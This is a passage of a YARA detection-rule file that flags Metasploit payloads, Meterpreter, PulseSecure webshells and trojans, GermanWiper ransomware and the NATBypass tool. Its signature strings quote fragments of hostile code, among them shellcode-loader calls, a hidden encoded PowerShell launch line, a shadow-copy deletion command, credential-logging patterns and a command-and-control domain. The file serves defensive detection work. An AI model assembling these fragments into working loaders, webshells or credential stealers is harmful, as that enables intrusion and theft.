		id = "ad09167f-a12a-5f07-940b-df679fa8e6c0"

	strings:
		$s1 = "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(" ascii
		$s2 = "public enum MemoryProtection { ExecuteReadWrite = 0x40 }" fullword ascii
		$s3 = ".func]::VirtualAlloc(0,"
		$s4 = ".func+AllocationType]::Reserve -bOr [" ascii
		$s5 = "New-Object System.CodeDom.Compiler.CompilerParameters" fullword ascii
		$s6 = "ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))" fullword ascii
		$s7 = "public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }" fullword ascii
		$s8 = ".func]::CreateThread(0,0,$" fullword ascii
		$s9 = "public enum Time : uint { Infinite = 0xFFFFFFFF }" fullword ascii
		$s10 = "= [System.Convert]::FromBase64String(\"/" ascii
		$s11 = "{ $global:result = 3; return }" fullword ascii

	condition:
		4 of them
}

rule Msfpayloads_msf_4
{
	meta:
		description = "Metasploit Payloads - file msf.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "26b3e572ba1574164b76c6d5213ab02e4170168ae2bcd2f477f246d37dbe84ef"
		id = "00d7681b-6041-5fe1-adbb-8b7c40df0193"

	strings:
		$s1 = "= VirtualAlloc(IntPtr.Zero,(UIntPtr)" ascii
		$s2 = ".Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);" ascii
		$s3 = "[System.Runtime.InteropServices.DllImport(\"kernel32\")]" fullword ascii
		$s4 = "private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;" fullword ascii
		$s5 = "private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);" fullword ascii

	condition:
		4 of them
}

rule Msfpayloads_msf_exe_2
{
	meta:
		description = "Metasploit Payloads - file msf-exe.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "3a2f7a654c1100e64d8d3b4cd39165fba3b101bbcce6dd0f70dae863da338401"
		id = "a55a33e1-8f04-5417-af0c-b7e2da36fb46"

	strings:
		$x1 = "= new System.Diagnostics.Process();" fullword ascii
		$x2 = ".StartInfo.UseShellExecute = true;" fullword ascii
		$x3 = ", \"svchost.exe\");" ascii
		$s4 = " = Path.GetTempPath();" ascii

	condition:
		all of them
}

rule Msfpayloads_msf_5
{
	meta:
		description = "Metasploit Payloads - file msf.msi"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "7a6c66dfc998bf5838993e40026e1f400acd018bde8d4c01ef2e2e8fba507065"
		id = "030d1982-c9a8-539d-a995-7901ae425857"

	strings:
		$s1 = "required to install Foobar 1.0." fullword ascii
		$s2 = "Copyright 2009 The Apache Software Foundation." fullword wide
		$s3 = "{50F36D89-59A8-4A40-9689-8792029113AC}" fullword ascii

	condition:
		all of them
}

rule Msfpayloads_msf_6
{
	meta:
		description = "Metasploit Payloads - file msf.vbs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "8d6f55c6715c4a2023087c3d0d7abfa21e31a629393e4dc179d31bb25b166b3f"
		id = "5485102b-e709-5111-814a-e6878b4bd889"

	strings:
		$s1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii
		$s2 = "= CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
		$s3 = ".GetSpecialFolder(2)" ascii
		$s4 = ".Write Chr(CLng(\"" ascii
		$s5 = "= \"4d5a90000300000004000000ffff00" ascii
		$s6 = "For i = 1 to Len(" ascii
		$s7 = ") Step 2" ascii

	condition:
		5 of them
}

rule Msfpayloads_msf_7
{
	meta:
		description = "Metasploit Payloads - file msf.vba"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "425beff61a01e2f60773be3fcb74bdfc7c66099fe40b9209745029b3c19b5f2f"
		id = "8d1b742e-510a-5807-ad3f-f10cc325d292"

	strings:
		$s1 = "Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal" ascii
		$s2 = "= VirtualAlloc(0, UBound(Tsw), &H1000, &H40)" fullword ascii
		$s3 = "= RtlMoveMemory(" ascii

	condition:
		all of them
}

rule Msfpayloads_msf_8
{
	meta:
		description = "Metasploit Payloads - file msf.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "519717e01f0cb3f460ef88cd70c3de8c7f00fb7c564260bd2908e97d11fde87f"
		id = "54466663-12ef-5fa4-a13c-e80ddbc0f4f8"

	strings:
		$s1 = "[DllImport(\"kernel32.dll\")]" fullword ascii
		$s2 = "[DllImport(\"msvcrt.dll\")]" fullword ascii
		$s3 = "-Name \"Win32\" -namespace Win32Functions -passthru" fullword ascii
		$s4 = "::VirtualAlloc(0,[Math]::Max($" ascii
		$s5 = ".Length,0x1000),0x3000,0x40)" ascii
		$s6 = "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);" fullword ascii
		$s7 = "::memset([IntPtr]($" ascii

	condition:
		6 of them
}

rule Msfpayloads_msf_cmd
{
	meta:
		description = "Metasploit Payloads - file msf-cmd.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "9f41932afc9b6b4938ee7a2559067f4df34a5c8eae73558a3959dd677cb5867f"
		id = "71d42c34-a0b0-5173-8f2f-f48a7af0e4ff"

	strings:
		$x1 = "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e" ascii

	condition:
		all of them
}

rule Msfpayloads_msf_9
{
	meta:
		description = "Metasploit Payloads - file msf.war - contents"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81"
		id = "488a2e97-ebc2-5ccf-ab5d-dfed4b534b52"

	strings:
		$s1 = "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1)" fullword ascii
		$s2 = ".concat(\".exe\");" fullword ascii
		$s3 = "[0] = \"chmod\";" ascii
		$s4 = "= Runtime.getRuntime().exec(" ascii
		$s5 = ", 16) & 0xff;" ascii
		$x1 = "4d5a9000030000000" ascii

	condition:
		4 of ( $s* ) or ( uint32( 0 ) == 0x61356434 and $x1 at 0 )
}

rule Msfpayloads_msf_10
{
	meta:
		description = "Metasploit Payloads - file msf.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "3cd74fa28323c0d64f45507675ac08fb09bae4dd6b7e11f2832a4fbc70bb7082"
		id = "3bc3b66a-9f8a-55c2-ae2a-00faa778cef7"

	strings:
		$s1 = { 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 }
		$s2 = { 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b }
		$s3 = { 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule Msfpayloads_msf_svc
{
	meta:
		description = "Metasploit Payloads - file msf-svc.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "2b02c9c10577ee0c7590d3dadc525c494122747a628a7bf714879b8e94ae5ea1"
		id = "45d1c527-1f90-50f3-8e64-e77d69386b0a"

	strings:
		$s1 = "PAYLOAD:" fullword ascii
		$s2 = ".exehll" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them )
}

rule Msfpayloads_msf_11
{
	meta:
		description = "Metasploit Payloads - file msf.hta"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "d1daf7bc41580322333a893133d103f7d67f5cd8a3e0f919471061d41cf710b6"
		id = "59b0cced-ffdc-5f2f-878c-856883ee275f"

	strings:
		$s1 = ".ExpandEnvironmentStrings(\"%PSModulePath%\") + \"..\\powershell.exe\") Then" fullword ascii
		$s2 = "= CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
		$s3 = "= CreateObject(\"Wscript.Shell\") " fullword ascii

	condition:
		all of them
}

rule Msfpayloads_msf_ref
{
	meta:
		description = "Metasploit Payloads - file msf-ref.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87"
		id = "517ed365-03c6-5563-984b-dae10464671a"

	strings:
		$s1 = "kernel32.dll WaitForSingleObject)," ascii
		$s2 = "= ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')" ascii
		$s3 = "GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object" ascii
		$s4 = ".DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual'," ascii
		$s5 = "= [System.Convert]::FromBase64String(" ascii
		$s6 = "[Parameter(Position = 0, Mandatory = $True)] [Type[]]" fullword ascii
		$s7 = "DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard," ascii

	condition:
		5 of them
}

rule MAL_Metasploit_Framework_UA
{
	meta:
		description = "Detects User Agent used in Metasploit Framework"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/rapid7/metasploit-framework/commit/12a6d67be48527f5d3987e40cac2a0cbb4ab6ce7"
		date = "2018-08-16"
		score = 65
		hash1 = "1743e1bd4176ffb62a1a0503a0d76033752f8bd34f6f09db85c2979c04bbdd29"
		id = "e5a18456-3a07-5b58-ad95-086152298a1f"

	strings:
		$s3 = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them
}

rule HKTL_Meterpreter_inMemory
{
	meta:
		description = "Detects Meterpreter in-memory"
		author = "netbiosX, Florian Roth"
		reference = "https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/"
		date = "2020-06-29"
		modified = "2023-04-21"
		score = 85
		id = "29c3bb7e-4da8-5924-ada7-2f28d9352009"

	strings:
		$sxc1 = { 6D 65 74 73 72 76 2E 64 6C 6C 00 00 52 65 66 6C
               65 63 74 69 76 65 4C 6F 61 64 65 72 }
		$sxs1 = "metsrv.x64.dll" ascii fullword
		$ss1 = "WS2_32.dll" ascii fullword
		$ss2 = "ReflectiveLoader" ascii fullword
		$fp1 = "SentinelOne" ascii wide
		$fp2 = "fortiESNAC" ascii wide
		$fp3 = "PSNMVHookMS" ascii wide

	condition:
		(1 of ( $sx* ) or 2 of ( $s* ) ) and not 1 of ( $fp* )
}

rule FE_Webshell_PL_ATRIUM_1
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		hash = "ca0175d86049fa7c796ea06b413857a3"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "b2663343-0bae-5215-a443-866ab8626bff"

	strings:
		$s1 = "CGI::param("
		$s2 = "system("
		$s3 = /if[\x09\x20]{0,32}\(CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)\)\s{0,128}\{[\x09\x20]{0,32}print [\x22\x27]Cache-Control: no-cache\\n[\x22\x27][\x09\x20]{0,32};\s{0,128}print [\x22\x27]Content-type: text\/html\\n\\n[\x22\x27][\x09\x20]{0,32};\s{0,128}my \$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}CGI::param\([\x22\x27]\w{1,64}[\x22\x27]\)[\x09\x20]{0,32};\s{0,128}system\([\x22\x27]\$/

	condition:
		all of them
}

rule FE_Trojan_SH_ATRIUM_1
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		hash = "a631b7a8a11e6df3fccb21f4d34dbd8a"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "c49441f4-a138-534c-a858-a7462ed865c9"

	strings:
		$s1 = "CGI::param("
		$s2 = "Cache-Control: no-cache"
		$s3 = "system("
		$s4 = /sed -i [^\r\n]{1,128}CGI::param\([^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Cache-Control: no-cache[^\r\n]{1,128}print[\x20\x09]{1,32}[^\r\n]{1,128}Content-type: text\/html[^\r\n]{1,128}my [^\r\n]{1,128}=[\x09\x20]{0,32}CGI::param\([^\r\n]{1,128}system\(/

	condition:
		all of them
}

rule FE_APT_Webshell_PL_HARDPULSE
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		hash = "980cba9e82faf194edb6f3cc20dc73ff"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "f9a2922e-6b8e-5f92-a947-3215ee8883ac"

	strings:
		$r1 = /if[\x09\x20]{0,32}\(\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27]\)\s{0,128}\{\s{1,128}my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}\x3b\s{1,128}unless[\x09\x20]{0,32}\(open\(\$\w{1,64},[\x09\x20]{0,32}\$\w{1,64}\)\)\s{0,128}\{\s{1,128}goto[\x09\x20]{1,32}\w{1,64}[\x09\x20]{0,32}\x3b\s{1,128}return[\x09\x20]{1,32}0[\x09\x20]{0,32}\x3b\s{0,128}\}/
		$r2 = /open[\x09\x20]{0,32}\(\*\w{1,64}[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>/
		$r3 = /if[\x09\x20]{0,32}\(\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27]\w{1,64}[\x22\x27]\)\s{0,128}\{\s{1,128}print[\x09\x20]{0,32}[\x22\x27]Content-type/
		$s1 = "CGI::request_method()"
		$s2 = "CGI::param("
		$s3 = "syswrite("
		$s4 = "print $_"

	condition:
		all of them
}

rule FE_APT_Trojan_Linux32_LOCKPICK_1
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		hash = "e8bfd3f5a2806104316902bbe1195ee8"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "00c09378-25a0-55f1-8d93-7b22d98bd8c2"

	strings:
		$sb1 = { 83 ?? 63 0F 84 [4] 8B 45 ?? 83 ?? 01 89 ?? 24 89 44 24 04 E8 [4] 85 C0 }
		$sb2 = { 83 [2] 63 74 ?? 89 ?? 24 04 89 ?? 24 E8 [4] 83 [2] 01 85 C0 0F [5] EB 00 8B ?? 04 83 F8 02 7? ?? 83 E8 01 C1 E0 02 83 C0 00 89 44 24 08 8D 83 [4] 89 44 24 04 8B ?? 89 04 24 E8 }

	condition:
		(( uint32( 0 ) == 0x464c457f ) and ( uint8( 4 ) == 1 ) ) and ( @sb1 [ 1 ] < @sb2 [ 1 ] )
}

rule FE_APT_Trojan_Linux32_PACEMAKER
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		hash = "d7881c4de4d57828f7e1cab15687274b"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "459e26f1-4ea9-56dd-ad71-0ed2c7499aea"

	strings:
		$s1 = "\x00/proc/%d/mem\x00"
		$s2 = "\x00/proc/%s/maps\x00"
		$s3 = "\x00/proc/%s/cmdline\x00"
		$sb1 = { C7 44 24 08 10 00 00 00 C7 44 24 04 00 00 00 00 8D 45 E0 89 04 24 E8 [4] 8B 45 F4 83 C0 0B C7 44 24 08 10 00 00 00 89 44 24 04 8D 45 E0 89 04 24 E8 [4] 8D 45 E0 89 04 24 E8 [4] 85 C0 74 ?? 8D 45 E0 89 04 24 E8 [4] 85 C0 74 ?? 8D 45 E0 89 04 24 E8 [4] EB }
		$sb2 = { 8B 95 [4] B8 [4] 8D 8D [4] 89 4C 24 10 8D 8D [4] 89 4C 24 0C 89 54 24 08 89 44 24 04 8D 85 [4] 89 04 24 E8 [4] C7 44 24 08 02 00 00 00 C7 44 24 04 00 00 00 00 8B 45 ?? 89 04 24 E8 [4] 89 45 ?? 8D 85 [4] 89 04 24 E8 [4] 89 44 24 08 8D 85 [4] 89 44 24 04 8B 45 ?? 89 04 24 E8 [4] 8B 45 ?? 89 45 ?? C7 45 ?? 00 00 00 00 [0-16] 83 45 ?? 01 8B 45 ?? 3B 45 0C }

	condition:
		(( uint32( 0 ) == 0x464c457f ) and ( uint8( 4 ) == 1 ) ) and all of them
}

rule FE_APT_Trojan_Linux_PACEMAKER
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		hash = "d7881c4de4d57828f7e1cab15687274b"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "5a20260a-5389-57da-956c-97063fed5015"

	strings:
		$s1 = "\x00Name:%s || Pwd:%s || AuthNum:%s\x0a\x00"
		$s2 = "\x00/proc/%d/mem\x00"
		$s3 = "\x00/proc/%s/maps\x00"
		$s4 = "\x00/proc/%s/cmdline\x00"

	condition:
		( uint32( 0 ) == 0x464c457f ) and all of them
}

rule FE_APT_Webshell_PL_PULSECHECK_1
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		sha256 = "a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "f375fdd8-567b-569b-85f4-af54a35d2a93"

	strings:
		$r1 = /while[\x09\x20]{0,32}\(<\w{1,64}>\)[\x09\x20]{0,32}\{\s{1,256}\$\w{1,64}[\x09\x20]{0,32}\.=[\x09\x20]{0,32}\$_;\s{0,256}\}/
		$s1 = "use Crypt::RC4;"
		$s2 = "use MIME::Base64"
		$s3 = "MIME::Base64::decode("
		$s4 = "popen("
		$s5 = " .= $_;"
		$s6 = "print MIME::Base64::encode(RC4("
		$s7 = "HTTP_X_"

	condition:
		$s1 and $s2 and ( @s3 [ 1 ] < @s4 [ 1 ] ) and ( @s4 [ 1 ] < @s5 [ 1 ] ) and ( @s5 [ 1 ] < @s6 [ 1 ] ) and ( #s7 > 2 ) and $r1
}

rule FE_APT_Trojan_PL_PULSEJUMP_1
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		hash = "91ee23ee24e100ba4a943bb4c15adb4c"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "690cc347-e60f-5cac-b65d-367ecee69251"

	strings:
		$s1 = "open("
		$s2 = ">>/tmp/"
		$s3 = "syswrite("
		$s4 = /\}[\x09\x20]{0,32}elsif[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{1,32}eq[\x09\x20]{1,32}[\x22\x27](Radius|Samba|AD)[\x22\x27][\x09\x20]{0,32}\)\s{0,128}\{\s{0,128}@\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}&/

	condition:
		all of them
}

rule FE_APT_Trojan_PL_QUIETPULSE
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		hash = "00575bec8d74e221ff6248228c509a16"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "4c49eef7-b8fa-55d5-8fb8-8964f6f50003"

	strings:
		$s1 = /open[\x09\x20]{0,32}\(\*STDOUT[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>&CLIENT[\x22\x27]\)/
		$s2 = /open[\x09\x20]{0,32}\(\*STDERR[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>&CLIENT[\x22\x27]\)/
		$s3 = /socket[\x09\x20]{0,32}\(SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}PF_UNIX[\x09\x20]{0,32},[\x09\x20]{0,32}SOCK_STREAM[\x09\x20]{0,32},[\x09\x20]{0,32}0[\x09\x20]{0,32}\)[\x09\x20]{0,32};\s{0,128}unlink/
		$s4 = /bind[\x09\x20]{0,32}\([\x09\x20]{0,32}SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}sockaddr_un\(/
		$s5 = /listen[\x09\x20]{0,32}\([\x09\x20]{0,32}SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}SOMAXCONN[\x09\x20]{0,32}\)[\x09\x20]{0,32};/
		$s6 = /my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}fork\([\x09\x20]{0,32}\)[\x09\x20]{0,32};\s{1,128}if[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{0,32}==[\x09\x20]{0,32}0[\x09\x20]{0,32}\)[\x09\x20]{0,32}\{\s{1,128}exec\(/

	condition:
		all of them
}

rule FE_APT_Trojan_PL_RADIALPULSE_1
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		sha256 = "d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "1fab6d2f-96e8-5def-a93e-2bddd04e7ec8"

	strings:
		$s1 = "->getRealmInfo()->{name}"
		$s2 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>/
		$s3 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]realm=\$/
		$s4 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]username=\$/
		$s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]password=\$/

	condition:
		(@s1 [ 1 ] < @s2 [ 1 ] ) and ( @s2 [ 1 ] < @s3 [ 1 ] ) and $s4 and $s5
}

rule FE_APT_Trojan_PL_RADIALPULSE_2
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		hash = "4a2a7cbc1c8855199a27a7a7b51d0117"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "dc941935-aec7-54b6-a278-f1453b9785df"

	strings:
		$s1 = "open(*fd,"
		$s2 = "syswrite(*fd,"
		$s3 = "close(*fd);"
		$s4 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>\/tmp\/[\w.]{1,128}[\x22\x27]\);[\x09\x20]{0,32}syswrite\(\*fd,[\x09\x20]{0,32}/
		$s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27][\w]{1,128}=\$\w{1,128} ?[\x22\x27],[\x09\x20]{0,32}5000\)/

	condition:
		all of them
}

rule FE_APT_Trojan_PL_RADIALPULSE_3
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		hash = "4a2a7cbc1c8855199a27a7a7b51d0117"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "8a597521-c873-5bcc-85e6-5a0a061fffb7"

	strings:
		$s1 = "open(*fd,"
		$s2 = "syswrite(*fd,"
		$s3 = "close(*fd);"
		$s4 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>\/tmp\/dsstartssh\.statementcounters[\x22\x27]\);[\x09\x20]{0,32}syswrite\(\*fd,[\x09\x20]{0,32}/
		$s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27][\w]{1,128}=\$username ?[\x22\x27],[\x09\x20]{0,32}\d{4}\)/

	condition:
		all of them
}

rule FE_APT_Backdoor_Linux32_SLOWPULSE_1
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		sha256 = "cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "dd35257f-5b6f-55a6-a709-873ded1f4b72"

	strings:
		$sb1 = {FC b9 [4] e8 00 00 00 00 5? 8d b? [4] 8b}
		$sb2 = {f3 a6 0f 85 [4] b8 03 00 00 00 5? 5? 5?}
		$sb3 = {9c 60 e8 00 00 00 00 5? 8d [5] 85 ?? 0f 8?}
		$sb4 = {89 13 8b 51 04 89 53 04 8b 51 08 89 53 08}
		$sb5 = {8d [5] b9 [4] f3 a6 0f 8?}

	condition:
		(( uint32( 0 ) == 0x464c457f ) and ( uint8( 4 ) == 1 ) ) and all of them
}

rule FE_APT_Webshell_PL_STEADYPULSE_1
{
	meta:
		author = "Mandiant"
		date = "2021-04-16"
		sha256 = "168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc"
		description = "Detects samples mentioned in PulseSecure report"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		id = "49457fbb-9288-565f-909d-e8228c21c1e4"

	strings:
		$s1 = "parse_parameters"
		$s2 = "s/\\+/ /g"
		$s3 = "s/%(..)/pack("
		$s4 = "MIME::Base64::encode($"
		$s5 = "$|=1;"
		$s6 = "RC4("
		$s7 = "$FORM{'cmd'}"

	condition:
		all of them
}

rule MAL_Ransomware_GermanWiper
{
	meta:
		description = "Detects RansomWare GermanWiper in Memory or in unpacked state"
		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
		reference = "https://twitter.com/r3c0nst/status/1158326526766657538"
		date = "2019-08-05"
		hash_packed = "41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c"
		hash_unpacked = "708967cad421bb2396017bdd10a42e6799da27e29264f4b5fb095c0e3503e447"
		id = "e7587691-f69a-53e7-bab2-875179fbfa19"

	strings:
		$x_Mutex1 = "HSDFSD-HFSD-3241-91E7-ASDGSDGHH" ascii
		$x_Mutex2 = "cFgxTERNWEVhM2V" ascii
		$PurgeCode = { 6a 00 8b 47 08 50 6a 00 6a 01 e8 ?? ?? ?? ??
                     50 e8 ?? ?? ?? ?? 8b f0 8b d7 8b c3 e8 }
		$ProcessKill1 = "sqbcoreservice.exe" ascii
		$ProcessKill2 = "isqlplussvc.exe" ascii
		$KillShadowCopies = "vssadmin.exe delete shadows" ascii
		$Domain1 = "cdnjs.cloudflare.com" ascii
		$Domain2 = "expandingdelegation.top" ascii
		$RansomNote = "Entschluesselungs_Anleitung.html" ascii

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 1000KB and ( 1 of ( $x* ) or 3 of them )
}

rule HKTL_NATBypass_Dec22_1 : T1090
{
	meta:
		description = "Detects NatBypass tool (also used by APT41)"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/cw1997/NATBypass"
		date = "2022-12-27"
		score = 80
		hash1 = "4550635143c9997d5499d1d4a4c860126ee9299311fed0f85df9bb304dca81ff"
		id = "54af4d84-72f7-5ec4-b0bf-7ba228fdf508"

	strings:
		$x1 = "nb -slave 127.0.0.1:3389 8.8.8.8:1997" ascii
		$x2 = "| Welcome to use NATBypass Ver" ascii
		$s1 = "main.port2host.func1" ascii fullword
		$s2 = "start to transmit address:" ascii
		$s3 = "^(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])"

	condition:
		filesize < 8000KB and ( 1 of ( $x* ) or 2 of them ) or 3 of them
}

rule SUSP_MacOS_Plist_Suspicious
{
	meta:
